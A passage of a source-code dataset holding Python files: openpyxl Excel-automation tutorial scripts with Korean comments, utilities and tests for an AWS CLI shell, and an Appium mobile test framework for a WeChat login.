isinstance(cell.value, int) and cell.value > 80:\r\n cell.fill = PatternFill(fgColor=\"00FF00\", fill_type=\"solid\") # 배경 초록\r\n cell.font = Font(color=\"FF0000\") # 글 색상\r\n\r\n# 틀 고정\r\nws.freeze_panes = \"B2\"\r\nwb.save(\"sample11_5.xlsx\")\r\n\r\n" }, { "alpha_fraction": 0.4670846462249756, "alphanum_fraction": 0.5517241358757019, "avg_line_length": 19.399999618530273, "blob_id": "3b5c9f5bec363db41bac92a1ca1bac7ebf96d893", "content_id": "36d063457f5df1386b50cbaac6cf2305a35314b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 357, "license_type": "no_license", "max_line_length": 47, "num_lines": 15, "path": "/12_formula.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "# 여러 함수를 통해 데이터 값\r\nimport datetime\r\nfrom openpyxl import Workbook\r\nwb = Workbook()\r\nws = wb.active\r\n\r\nws[\"A1\"] = datetime.datetime.today() # 오늘 날짜 정보\r\nws[\"A2\"] = \"=SUM(1, 2, 3)\" # 1+2+3 = 6\r\nws[\"A3\"] = \"=AVERAGE(1, 2, 3)\" # 평균 2\r\n\r\nws[\"A4\"] = 10\r\nws[\"A5\"] = 20\r\nws[\"A6\"] = \"=SUM(A4:A5)\" # 30\r\n\r\nwb.save(\"sample12.xlsx\")" }, { "alpha_fraction": 0.6645161509513855, "alphanum_fraction": 0.7032257914543152, "avg_line_length": 20.428571701049805, "blob_id": "51879cc3c4778101db6f99bb7a639b8bf25887af", "content_id": "135b71ca61ac979b7c70d27469475b2f0aeff35d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 169, "license_type": "no_license", "max_line_length": 35, "num_lines": 7, "path": "/15_unmerge.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import load_workbook\r\nwb = load_workbook(\"sample14.xlsx\")\r\nws = wb.active\r\n\r\n# 병합된 셀을 분리\r\nws.unmerge_cells(\"B2:D2\")\r\nwb.save(\"sample15.xlsx\")" }, { "alpha_fraction": 0.5337995290756226, "alphanum_fraction": 0.5874125957489014, "avg_line_length": 24.875, "blob_id": "28c02971aad44ed153a76646e99031371efaf45c", "content_id": "b7fe16d8ae111b5672416df6cbea02f6109edf77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 463, "license_type": "no_license", "max_line_length": 75, "num_lines": 16, "path": "/3_2_cell.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from random import * \r\nfrom openpyxl import Workbook\r\nwb = Workbook()\r\nws = wb.active\r\nws.title = \"dodoSheet\"\r\n\r\nindex = 1 \r\n# 반복문을 이용 랜덤 숫자 채우기\r\nfor x in range(1, 11): # 10개 row\r\n for y in range(1, 11): # 10 개 column\r\n # ws.cell(column = y, row = x, value = randint(0,100)) # 0 ~ 100 숫자\r\n ws.cell(row=x, column=y, value=index)\r\n index += 1\r\n\r\n# wb.save(\"sample4.xlsx\")\r\nwb.save(\"sample3_2.xlsx\") # index " }, { "alpha_fraction": 0.6434359550476074, "alphanum_fraction": 0.661264181137085, "avg_line_length": 23.79166603088379, "blob_id": "c5d07fd2aa4808c4d1c07db78de1188eb130b079", "content_id": "5ee4db11dbf5833b2ff8912a414d44fec2b59865", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 745, "license_type": "no_license", "max_line_length": 58, "num_lines": 24, "path": "/2_ sheet.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "# 시트별로 관리하는 경우\r\n\r\nfrom openpyxl import Workbook\r\nwb = Workbook()\r\n# wb.active\r\nws = wb.create_sheet() # 새로운 sheet 기본 이름으로 생성\r\nws.title = \"MySheet\" # sheet 이름 변경\r\nws.sheet_properties.tabColor = \"0000cc\" # RGB 형태로 값을 넣어주면 \r\n# Google search 'RGB'\r\n# https://www.w3schools.com/colors/colors_rgb.asp\r\n\r\nws1 = wb.create_sheet(\"YSheet\") # 생성과 동시에 닉변\r\nws2 = wb.create_sheet(\"NSheet\", 2) # 2번때 idx 값에 sheet 생성\r\n\r\nnew_ws = wb[\"NSheet\"] # Dict 형태로 sheet 에 접근\r\n\r\nprint(wb.sheetnames) # 모든 시트 이름 확인\r\n\r\n# Sheet 복사\r\nnew_ws[\"A1\"] = \"Test\"\r\ntarget = wb.copy_worksheet(new_ws) \r\ntarget.title = \"Copied Sheet\"\r\n\r\nwb.save(\"smaple2.xlsx\")" }, { "alpha_fraction": 0.5363951325416565, "alphanum_fraction": 0.5606585741043091, "avg_line_length": 23.64444351196289, "blob_id": "e6f1ef8395ebcb2000c218c56cc5d35dc3e95d17", "content_id": "48081a89b8eb7ad7da2ccb38c9ba9dc4c10fd978", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1252, "license_type": "no_license", "max_line_length": 59, "num_lines": 45, "path": "/5_1_cell_range.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import Workbook\r\nfrom random import * # 영어 수학 점수 랜덤 \r\nwb = Workbook()\r\nws = wb.active\r\n\r\n# 1줄씩 데이터 기입\r\nws.append([\"No\", \"Eng\", \"Math\"])\r\nfor i in range(1, 11): # 10개 데이터\r\n ws.append([i, randint(0, 100), randint(0, 100)])\r\n\r\n# col_E = ws[\"B\"] # 특성 column 만 가져오기\r\n# print(col_E)\r\n# for cell in col_E:\r\n# print(cell.value)\r\n\r\n# col_range = ws[\"B:C\"] # B, C column 함께 가져오기\r\n# # for cols in col_range:\r\n# # for cell in cols:\r\n# # print(cell.value)\r\n\r\n# row_title = ws[1] # 1번째 row 만 가지고 오기\r\n# for cell in row_title:\r\n# print(cell.value)\r\n\r\n# row_range = ws[2:6] # 2번째에서 6번째 줄까지\r\n# for rows in row_range:\r\n# for cell in rows:\r\n# print(cell.value, end=\" \")\r\n# print()\r\n\r\nfrom openpyxl.utils.cell import coordinate_from_string\r\n\r\nrow_range = ws[2:ws.max_row]\r\nfor rows in row_range:\r\n for cell in rows:\r\n # print(cell.value, end=\" \")\r\n # print(cell.coordinate, end=\" \")\r\n xy = coordinate_from_string(cell.coordinate) # A/10\r\n # print(xy, end=\" \")\r\n print(xy[0], end=\"\")\r\n print(xy[1], end=\" \")\r\n print()\r\n\r\n# wb.save(\"sample5.xlsx\")\r\nwb.save(\"sample5_1.xlsx\")\r\n" }, { "alpha_fraction": 0.5969387888908386, "alphanum_fraction": 0.6071428656578064, "avg_line_length": 18.473684310913086, "blob_id": "20ad72745bd6782221cd6b5fd377393520488486", "content_id": "289ae96310bdd4efccfe64d5a07ffb8a3463301b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 468, "license_type": "no_license", "max_line_length": 51, "num_lines": 19, "path": "/13_formula_dataonly.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import load_workbook\r\n\r\n\r\n# wb = load_workbook(\"sample13.xlsx\")\r\n# ws = wb.active\r\n\r\n# # 단순한 데이터가 아닌 수식이 나옴\r\n# for row in ws.values:\r\n# for cell in row:\r\n# print(cell) \r\n\r\n# 수식이 아닌 실제 데이터 값\r\n# evaluate 계산되지 않은 수식은 None 으로 나옴\r\nwb = load_workbook(\"sample13.xlsx\", data_only=True)\r\nws = wb.active\r\n\r\nfor row in ws.values:\r\n for cell in row:\r\n print(cell) \r\n\r\n" }, { "alpha_fraction": 0.6155778765678406, "alphanum_fraction": 0.6457286477088928, "avg_line_length": 22.75, "blob_id": "e57b0f3563cf2f3616d01662de47889ddd0503f5", "content_id": "d596bb192bcbcbfa887905c4b810a26e27d213f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 452, "license_type": "no_license", "max_line_length": 38, "num_lines": 16, "path": "/7_insert.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import load_workbook\r\nwb = load_workbook(\"sample5_2.xlsx\")\r\nws = wb.active\r\n\r\n# 삽입을 하면 셀 한줄이 추가됨\r\n# # ws.insert_rows(8)\r\n# wb.save(\"sample_insert_rows.xlsx\")\r\n\r\n# ws.insert_rows(8, 5) # 5줄 삽입\r\n# wb.save(\"sample_insert_rows_2.xlsx\")\r\n\r\n# ws.insert_cols(2) # B 열에 추가됨\r\n# wb.save(\"sample_insert_cols.xlsx\")\r\n\r\nws.insert_cols(2, 3) # B 열부터 3칸 추가됨\r\nwb.save(\"sample_insert_cols_2.xlsx\")\r\n\r\n" }, { "alpha_fraction": 0.6321558952331543, "alphanum_fraction": 0.6613885760307312, "avg_line_length": 27.39285659790039, "blob_id": "2095eea4f79168af0060d3cd58a5992c779a111c", "content_id": "e3ab0ffc3286a2d437b2b0bb1c38c0375445994a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 945, "license_type": "no_license", "max_line_length": 72, "num_lines": 28, "path": "/10_chart.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import load_workbook\r\nwb = load_workbook(\"sample5_2.xlsx\")\r\nws = wb.active\r\n\r\n# 차트 만들기\r\n\r\nfrom openpyxl.chart import BarChart, Reference, LineChart\r\n# value 설정\r\n# bar_value = Reference(ws, min_row=2, max_row=11, min_col=2, max_col=3)\r\n# bar_chart = BarChart() # 차트종류\r\n# bar_chart.add_data(bar_value) # 차트 데이터 추가\r\n\r\n# ws.add_chart(bar_chart, \"E1\") # 차트 넣는 위치 정의\r\n\r\n# wb.save(\"sample10.xlsx\")\r\n\r\n# B1:C11 데이터 사용\r\nline_value = Reference(ws, min_row=1, max_row=11, min_col=2, max_col=3)\r\nline_chart = LineChart() # 차트종류\r\nline_chart.add_data(line_value, titles_from_data=True) # 차트 데이터 추가\r\nline_chart.title = \"coco\" # 제목\r\nline_chart.style = 20 # 정의된 스타일 이용\r\nline_chart.y_axis.title = \"score\" # y축\r\nline_chart.x_axis.title = \"No\" # x 축\r\n\r\nws.add_chart(line_chart, \"E1\") # 차트 넣는 위치 정의\r\n\r\nwb.save(\"sample10_2.xlsx\")" }, { "alpha_fraction": 0.6113743782043457, "alphanum_fraction": 0.6516587734222412, "avg_line_length": 21.55555534362793, "blob_id": "5a532a903e678e094a123aea4e3dcde6e4bf48ad", "content_id": "f0d4ba4e9aec69bda3d7beb2af86ff24a6973e71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 504, "license_type": "no_license", "max_line_length": 38, "num_lines": 18, "path": "/8_delete.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import load_workbook\r\nwb = load_workbook(\"sample5_2.xlsx\")\r\nws = wb.active\r\n\r\n# 삭제 특정 정보 줄을 제거\r\n\r\n# ws.delete_rows(8) # 8번째에 있는 7번 정보 제거\r\n# wb.save(\"sample_delete_rows.xlsx\")\r\n\r\n# ws.delete_rows(8, 3) # 8번째 줄부터 3줄제거\r\n# wb.save(\"sample_delete_rows_2.xlsx\")\r\n\r\n\r\n# ws.delete_cols(2) # 2번째 B열 삭제\r\n# wb.save(\"sample_delete_cols.xlsx\")\r\n\r\nws.delete_cols(2, 2) # 2번째 열부터 2줄 삭제\r\nwb.save(\"sample_delete_cols_2.xlsx\")" }, { "alpha_fraction": 0.6153846383094788, "alphanum_fraction": 0.6474359035491943, "avg_line_length": 15.55555534362793, "blob_id": "a96c9e33346d0fe4a73f56e424fc910e09e5225a", "content_id": "1fc0aaae8286e29a1579319715a0ec0174b935b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 160, "license_type": "no_license", "max_line_length": 30, "num_lines": 9, "path": "/14_merge.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import Workbook\r\nwb = Workbook()\r\nws = wb.active\r\n\r\n# 병합\r\nws.merge_cells(\"B2:D2\") \r\nws[\"B2\"].value = \"Merged Cell\"\r\n\r\nwb.save(\"sample14.xlsx\")" }, { "alpha_fraction": 0.6798561215400696, "alphanum_fraction": 0.6906474828720093, "avg_line_length": 18, "blob_id": "5f0a77ca5cae0c8f243d587376b159d062f0d0ec", "content_id": "e32f5cab7c43610d2c3ee10efb67a62a6b7444de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 288, "license_type": "no_license", "max_line_length": 57, "num_lines": 14, "path": "/16_insert_image.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import Workbook\r\nfrom openpyxl.drawing.image import Image\r\nwb = Workbook()\r\nws = wb.active\r\n\r\nimg = Image(\"img.png\")\r\n\r\n# 이미지 삽입\r\nws.add_image(img, \"C3\")\r\n\r\nwb.save(\"sample16.xlsx\")\r\n\r\n# ImportError : You must install Pillow to fetch image...\r\n# pip install Pillow" }, { "alpha_fraction": 0.5526315569877625, "alphanum_fraction": 0.5763157606124878, "avg_line_length": 21.875, "blob_id": "e0af99796489756859110f7643e153df18d2e0ab", "content_id": "eba3807b33f8b7cb005df1b7c672cac8db45764d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 408, "license_type": "no_license", "max_line_length": 42, "num_lines": 16, "path": "/6_search.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import load_workbook\r\nwb = load_workbook(\"sample5_2.xlsx\")\r\nws = wb.active\r\n\r\nfor row in ws.iter_rows(min_row =2):\r\n # 번호 영어 수학\r\n if int(row[1].value) > 90:\r\n print(row[0].value, \"번 학생은 영어 우수\")\r\n\r\n\r\nfor row in ws.iter_rows(max_row=1):\r\n for cell in row:\r\n if cell.value == \"Eng\":\r\n cell.value = \"Com\"\r\n\r\nwb.save(\"sample6_edit.xlsx\")" }, { "alpha_fraction": 0.5483871102333069, "alphanum_fraction": 0.5898617506027222, "avg_line_length": 22.11111068725586, "blob_id": "d9b7cb5c2f1425de3fda5a20b760c85f5df43226", "content_id": "a2fdbf191c963949ae7fe01c0e36605282a7643e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 954, "license_type": "no_license", "max_line_length": 70, "num_lines": 36, "path": "/5_2_cell_range.py", "repo_name": "sc2bat/rpa-excel", "src_encoding": "UTF-8", "text": "from openpyxl import Workbook\r\nfrom random import * # 영어 수학 점수 랜덤 \r\nwb = Workbook()\r\nws = wb.active\r\n\r\n# 1줄씩 데이터 기입\r\nws.append([\"No\", \"Eng\", \"Math\"])\r\nfor i in range(1, 11): # 10개 데이터\r\n ws.append([i, randint(0, 100), randint(0, 100)])\r\n\r\n# 전체 rows\r\n# # print(tuple(ws.rows)) # 1줄씩 튜플로 가져옴\r\n# for row in tuple(ws.rows):\r\n# # print(row)\r\n# print(row[1].value)\r\n\r\n# 전체 columns\r\n# # print(tuple(ws.columns))\r\n# for column in tuple(ws.columns):\r\n# print(column[0].value)\r\n\r\n# for row in ws.iter_rows(): # 전체 row\r\n# print(row[1].value)\r\n\r\n# for column in ws.iter_cols():\r\n# print(column[0].value)\r\n\r\n# for row in ws.iter_rows(min_row=1, max_row=5): \r\n# print(row[2].value)\r\n\r\n# 2번째 ~ 11번째 줄, 2번째 ~ 3번째 열\r\nfor row in ws.iter_rows(min_row=2, max_row=11, min_col=2, max_col=3): \r\n print(row[0].value, row[1].value)\r\n\r\n\r\nwb.save(\"sample5_2.xlsx\")\r\n" } ]
18
theundefined/saws
https://github.com/theundefined/saws
726a416de0fa07c5dbc491190857910007e8ea28
11c51a388614e9e7e4ae4d948a28cef505244bf1
7adc562305798ed25a0b35aa41759839f8f1810e
refs/heads/master
2020-12-31T06:09:28.238578
2015-09-29T02:56:02
2015-09-29T02:56:02
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7046580910682678, "alphanum_fraction": 0.7135778069496155, "avg_line_length": 28.676469802856445, "blob_id": "2fee7eea1bae3cf3c48dd096d1b375b1bcb0a3f3", "content_id": "9d418c3e49ff90fa3ea6628fd94737eb6696ef4b", "detected_licenses": [ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1009, "license_type": "permissive", "max_line_length": 72, "num_lines": 34, "path": "/tests/test_options.py", "repo_name": "theundefined/saws", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Copyright 2015 Donne Martin. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nimport mock\nimport unittest\nfrom saws.saws import Saws\n\n\nclass OptionsTest(unittest.TestCase):\n\n def setUp(self):\n self.create_options()\n\n def create_options(self):\n self.saws = Saws(refresh_resources=False)\n self.options = self.saws.completer.options\n\n def test_create_options_map(self):\n # TODO: Implement\n pass\n" }, { "alpha_fraction": 0.602885365486145, "alphanum_fraction": 0.6054163575172424, "avg_line_length": 37.735294342041016, "blob_id": "0d3c03ea508a0070d98f72f4dd639c450068499b", "content_id": "2eab6fdd053a21325836767769dacbf804ba2c46", "detected_licenses": [ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3951, "license_type": "permissive", "max_line_length": 75, "num_lines": 102, "path": "/saws/commands.py", "repo_name": "theundefined/saws", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Copyright 2015 Donne Martin. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nimport os\ntry:\n from collections import OrderedDict\nexcept:\n from ordereddict import OrderedDict\nfrom enum import Enum\nfrom .data_util import DataUtil\n\n\nclass AwsCommands(object):\n \"\"\"Encapsulates AWS commands.\n\n Attributes:\n * AWS_COMMAND: A string representing the 'aws' command.\n * AWS_CONFIGURE: A string representing the 'configure' command.\n * AWS_HELP: A string representing the 'help' command.\n * AWS_DOCS: A string representing the 'docs' command.\n * SOURCES_DIR: A string representing the directory containing\n data/SOURCES.txt.\n * SOURCES_PATH: A string representing the full file path of\n data/SOURCES.txt.\n * command_headers: A list denoting the start of each set of\n command types.\n * command_types: A list of enums of CommandType.\n * header_to_type_map: A mapping between command_headers and\n command_types\n * command_lists: A list of lists. Each list element contains\n completions for each CommandType.\n \"\"\"\n\n class CommandType(Enum):\n \"\"\"Enum specifying the command type.\n\n Attributes:\n * AWS_COMMAND: A string representing the 'aws' command.\n * AWS_CONFIGURE: A string representing the 'configure' command.\n * AWS_HELP: A string representing the 'help' command.\n * AWS_DOCS: A string representing the 'docs' command.\n * COMMANDS: An int representing commands.\n * SUB_COMMANDS: An int representing subcommands.\n * GLOBAL_OPTIONS: An int representing global options.\n * RESOURCE_OPTIONS: An int representing resource options.\n \"\"\"\n\n NUM_TYPES = 4\n COMMANDS, SUB_COMMANDS, GLOBAL_OPTIONS, RESOURCE_OPTIONS = \\\n range(NUM_TYPES)\n\n AWS_COMMAND = 'aws'\n AWS_CONFIGURE = 'configure'\n AWS_HELP = 'help'\n AWS_DOCS = 'docs'\n SOURCES_DIR = os.path.dirname(os.path.realpath(__file__))\n SOURCES_PATH = os.path.join(SOURCES_DIR, 'data/SOURCES.txt')\n\n def __init__(self):\n # TODO: Refactor into DataUtil\n self.command_headers = ['[commands]: ',\n '[sub_commands]: ',\n '[global_options]: ',\n '[resource_options]: ']\n self.command_types = []\n for command_type in self.CommandType:\n if command_type != self.CommandType.NUM_TYPES:\n self.command_types.append(command_type)\n self.header_to_type_map = OrderedDict(zip(self.command_headers,\n self.command_types))\n self.command_lists = [[] for x in range(\n self.CommandType.NUM_TYPES.value)]\n self.all_commands = self._get_all_commands()\n\n def _get_all_commands(self):\n \"\"\"Gets all commands from the data/SOURCES.txt file.\n\n Args:\n * None.\n\n Returns:\n A list, where each element is a list of completions for each\n CommandType\n \"\"\"\n return DataUtil().get_data(self.SOURCES_PATH,\n self.header_to_type_map,\n self.CommandType.COMMANDS,\n self.command_lists)\n" }, { "alpha_fraction": 0.5672539472579956, "alphanum_fraction": 0.5711216330528259, "avg_line_length": 35.93650817871094, "blob_id": "f62af39f8d52ca9b22a55b77b7790092cbb6968d", "content_id": "c1a94ff3c63f668afbb3553790a72e29986e4c30", "detected_licenses": [ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2327, "license_type": "permissive", "max_line_length": 77, "num_lines": 63, "path": "/saws/data_util.py", "repo_name": "theundefined/saws", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Copyright 2015 Donne Martin. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nimport re\n\n\nclass DataUtil(object):\n \"\"\"Utility class to read from the data folder.\n\n Attributes:\n * None.\n \"\"\"\n\n def get_data(self, data_file_path, header_to_type_map,\n data_type, data_lists):\n \"\"\"Gets all data from the specified data file.\n\n Args:\n * data_file_path: A xxx that does xxx.\n * header_to_type_map: A dictionary mapping the data header labels\n to the data types.\n * data_type: A xxx that does xxx.\n This must be initialized to the first data type encountered\n when reading the data file.\n * data_lists: A list of lists. Each list element contains\n completions for each data type.\n\n Returns:\n A list, where each element is a list of completions for each\n data_type\n \"\"\"\n with open(data_file_path) as f:\n for line in f:\n line = re.sub('\\n', '', line)\n parsing_header = False\n # Check if we are reading in a data header to determine\n # which set of data we are parsing\n for key, value in header_to_type_map.items():\n if key in line:\n data_type = value\n parsing_header = True\n break\n if not parsing_header:\n # Store the data in its associated list\n if line.strip() != '':\n data_lists[data_type.value].append(line)\n for data_list in data_lists:\n data_list.sort()\n return data_lists\n" } ]
3
dalotalk/appium_demo
https://github.com/dalotalk/appium_demo
c9a568c5aa4d7e313f53244409a3fcc48690fe40
8cd26928fac198d7e97b9c85eb11bd9d7f9d6398
4ec26f2daeb445f52f667b2a808cf9b2726e2237
refs/heads/master
2022-04-11T22:52:36.696388
2020-04-08T13:59:30
2020-04-08T13:59:30
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6167401075363159, "alphanum_fraction": 0.6233479976654053, "avg_line_length": 22.842105865478516, "blob_id": "010e317f4fb89e3a9d3eb632df74b4c30f367c98", "content_id": "ed726e5a100bc074242051e9cac1498f121d8bfa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 454, "license_type": "no_license", "max_line_length": 46, "num_lines": 19, "path": "/common/myunit.py", "repo_name": "dalotalk/appium_demo", "src_encoding": "UTF-8", "text": "# -- coding: utf-8 --\nimport unittest\nfrom common.desired_caps import appium_desired\nimport logging\nfrom time import sleep\n\nclass StartEnd(unittest.TestCase):\n driver = appium_desired()\n\n @classmethod\n def setUpClass(cls):\n logging.info('======setUp=========')\n cls.driver.implicitly_wait(6)\n\n @classmethod\n def tearDownClass(cls):\n logging.info('======tearDown=====')\n sleep(5)\n cls.driver.close_app()\n\n" }, { "alpha_fraction": 0.6181102395057678, "alphanum_fraction": 0.6220472455024719, "avg_line_length": 38, "blob_id": "606437fa6bcd4cb0a27a95b62ced3bc21ca1a3fb", "content_id": "e3621ab011d3ea9005f27259914297cb6fe6bed5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1026, "license_type": "no_license", "max_line_length": 81, "num_lines": 26, "path": "/bussinessView/login/loginView.py", "repo_name": "dalotalk/appium_demo", "src_encoding": "UTF-8", "text": "# -- coding: utf-8 --\nfrom common.desired_caps import appium_desired\nfrom common.common_fun import Common\nfrom selenium.webdriver.common.by import By\nfrom time import sleep\n\nclass loginView(Common):\n loginBtn_loc = (By.ID,\"com.tencent.mm:id/d1w\")\n accountLink_loc = (By.ID,\"com.tencent.mm:id/bwm\")\n account_loc = (By.ID,\"com.tencent.mm:id/hx\")\n password_loc = (By.XPATH,\"//*[@id='com.tencent.mm:id/li' and @text='请填写密码']\")\n submit_loc = (By.ID,\"com.tencent.mm:id/cvg\")\n\n def type_loginNormal(self):\n try:\n print(\"type_loginNormal\")\n sleep(2)\n self.driver.find_element(*self.loginBtn_loc).click()\n sleep(2)\n self.driver.find_element(*self.accountLink_loc).click()\n\n self.driver.find_element(*self.account_loc).send_keys(\"***\")\n self.driver.find_element(*self.password_loc).send_keys(\"***\")\n self.driver.find_element(*self.submit_loc).click()\n except BaseException as msg:\n print(msg)\n\n\n" }, { "alpha_fraction": 0.6498599648475647, "alphanum_fraction": 0.6638655662536621, "avg_line_length": 21.375, "blob_id": "c944cf242d72d8cc013a2c90d7bd59b2a19f7124", "content_id": "e27e8b1fb90fee3f8dbc4aab817588d4e71e047a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 375, "license_type": "no_license", "max_line_length": 51, "num_lines": 16, "path": "/testcase/test_01login.py", "repo_name": "dalotalk/appium_demo", "src_encoding": "UTF-8", "text": "# -- coding: utf-8 --\nfrom common.myunit import StartEnd\nfrom bussinessView.login.loginView import loginView\nimport unittest\n\nclass test_login(StartEnd):\n\n def test_01loginNormal(self):\n po = loginView(self.driver)\n po.type_loginNormal()\n print(\"先提交到dev,后与master合并\")\n\n # def test_02\n\nif __name__ == '__main__':\n unittest.main()" }, { "alpha_fraction": 0.5642701387405396, "alphanum_fraction": 0.5675381422042847, "avg_line_length": 30.620689392089844, "blob_id": "a5f995ddd78d5eea297d439299465d38bbd4895c", "content_id": "17797c3f27bf5d3377e608bcc0122ff1e8922dfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 962, "license_type": "no_license", "max_line_length": 107, "num_lines": 29, "path": "/common/common_fun.py", "repo_name": "dalotalk/appium_demo", "src_encoding": "UTF-8", "text": "# -- coding: utf-8 --\nfrom baseView.baseView import BaseView\nimport os,logging,csv,time\n\nclass Common(BaseView):\n\n #屏幕截图\n def common_screenShot(self, module):\n time = self.common_getTime()\n image_file = os.path.dirname(os.path.dirname(__file__)) + '/screenshots/%s_%s.png' % (module, time)\n logging.info('get %s screenshot' % module)\n self.driver.get_screenshot_as_file(image_file)\n\n def common_getCsvData(self, csv_file, line):\n '''\n 获取csv文件指定行的数据\n :param csv_file: csv文件路径\n :param line: 数据行数\n :return: \n '''\n with open(csv_file, 'r', encoding='utf-8-sig') as file:\n reader = csv.reader(file)\n for index, row in enumerate(reader, 1):\n if index == line:\n return row\n\n def common_getTime(self):\n self.now = time.strftime(\"%Y-%m-%d %H_%M_%S\")\n return self.now\n\n" }, { "alpha_fraction": 0.6605122089385986, "alphanum_fraction": 0.6622989773750305, "avg_line_length": 33.9375, "blob_id": "c0784043d2f6ec597f3e4f20393ce3f547af0f20", "content_id": "7507d54b19a8a2fe6a0093349b50e1c8cb5c59ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2087, "license_type": "no_license", "max_line_length": 114, "num_lines": 48, "path": "/common/desired_caps.py", "repo_name": "dalotalk/appium_demo", "src_encoding": "UTF-8", "text": "# -- coding: utf-8 --\nfrom ruamel import yaml\nimport logging.config\nfrom appium import webdriver\nimport os\n\nCON_LOG = \"../config/log.conf\"\n#通过解析conf配置文件实现\nlogging.config.fileConfig(CON_LOG)\n''' \n指定name,返回一个名称为name的Logger实例。\n如果再次使用相同的名字,是实例化一个对象。\n未指定name,返回Logger实例,名称是root,即根Logger。\n'''\nlogging = logging.getLogger()\n\ndef appium_desired():\n with open('../config/kyb_caps.yaml',mode='r',encoding='utf-8') as file:\n data = yaml.load(file,Loader=yaml.RoundTripLoader)\n\n desired_caps={}\n\n desired_caps['platformName']=data['platformName']#手机操作系统\n desired_caps['platformVersion'] = data['platformVersion']#系统版本\n desired_caps['deviceName'] = data['deviceName']#设备名称\n\n # 找到当前文件目录的上级目录,os.path.dirname(__file__)表示当前目录\n base_dir = os.path.dirname(os.path.dirname(__file__))\n app_path = os.path.join(base_dir, 'app', data['appname'])#找到测试APP的相对路径\n desired_caps['app'] = app_path\n\n # 不要在会话前重置应用状态,appium启动app时会自动清除app里面的数据。设置为TRUE可以不清除掉里面的数据。\n desired_caps['noReset'] = data['noReset']\n\n desired_caps['unicodeKeyboard'] = data['unicodeKeyboard']##使用Unicode编码方式发送字符串\n desired_caps['resetKeyboard'] = data['resetKeyboard']#表示在测试结束后切回系统输入法。\n\n desired_caps['appPackage'] = data['appPackage']#找到package名,相当于身份证,是唯一的\n desired_caps['appActivity'] = data['appActivity']#找到启动的activity\n\n logging.info('start run app...')\n #传入配置信息,并用webdriver.Remote()启动APP\n driver = webdriver.Remote('http://' 